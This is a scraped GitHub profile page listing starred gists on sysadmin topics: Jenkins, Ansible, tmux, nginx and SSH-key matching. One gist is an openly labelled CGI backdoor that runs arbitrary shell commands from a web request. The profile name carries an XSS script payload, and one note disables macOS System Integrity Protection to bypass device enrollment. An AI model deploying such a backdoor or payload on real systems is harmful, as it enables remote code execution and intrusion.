Skip to content

Instantly share code, notes, and snippets.

View AdamOssenford's full-sized avatar
<script>alert('jalapeño network');</script>

Adam Ossenford AdamOssenford

<script>alert('jalapeño network');</script>
View GitHub Profile
MarkBaggett / gist:38dcff6a0975f148aa858e924d64c492
Created November 14, 2020 18:22
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
jenciso / Jenkinsfile
Created October 3, 2020 00:15 — forked from merikan/Jenkinsfile
Some Jenkinsfile examples
Some Jenkinsfile examples
bgstack15 / update_root_pw.yml
Created October 25, 2017 13:29
Ansible playbook that changes root password
# File: /etc/ansible/playbooks/prod/update_root_pw.yml
# Authors: bgstack15
# Startdate: 2017-10-24
# Title: Playbook that updates the local root password
# Purpose: Makes it easy to update the root password
# Usage:
# time ansible-playbook /etc/ansible/playbooks/prod/update_root_pw.yml -i /etc/ansible/dc3.inv -l el7test14 -v --ask-vault-pass
# Make file /home/ansible/rootpw.yml with the contents:
# ---

Disable Device Enrollment Notification on

Restart the Mac in Recovery Mode by holding Comment-R during restart

Open Terminal in the recovery screen and type

csrutil disable
kennwhite /
Last active May 12, 2017 09:06
RPM build Nginx 1.11.x with ALPN on CentOS 6/7 using static OpenSSL 1.1 (v 1.02+ required for http/2 support in Chrome)
# Based on CentOS7 fork of @smartmadsoft:
# "6" for CentOS6 or Amazon Linux, "7" for CentOS7
yum clean all
# Install epel packages (required for GeoIP-devel)
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# GNU General Public License for more details.
P7h /
Last active January 10, 2024 05:48
tmux vs screen commands

tmux vs. screen commands

Action tmux screen
start a new session tmux
tmux new
tmux new-session
start a new session with a name tmux new -s name screen -S name
re-attach a detached session tmux attach
tmux attach-session
screen -r
re-attach a detached session with a name tmux attach -t name
tmux a -t name
screen -r name
re-attach an attached session (detaching it from elsewhere) tmux attach -dtmux attach-session -d screen -dr
yanatan16 / load-balancer.conf
Created April 11, 2014 22:54
Example nginx load balancer
## Global parameters
## StatsD Plugin:
statsd_server statsd.domain.tld;
# Stop proxying to an upstream if any of these happen
proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
# Setup standard forwarding headers
proxy_set_header Accept-Encoding "";
mschmitt / match-ssh-keys
Created August 11, 2010 13:33
Matches Fingerprints from sshd logs (sshd on loglevel VERBOSE) against authorized_keys for the respective user.
#!/usr/bin/perl -w
use strict;
use diagnostics;
use File::Temp;
# Matches Fingerprints from sshd logs (sshd on loglevel VERBOSE) against
# authorized_keys for the respective user.
die "Please specify input file!\n" unless ($ARGV[0]);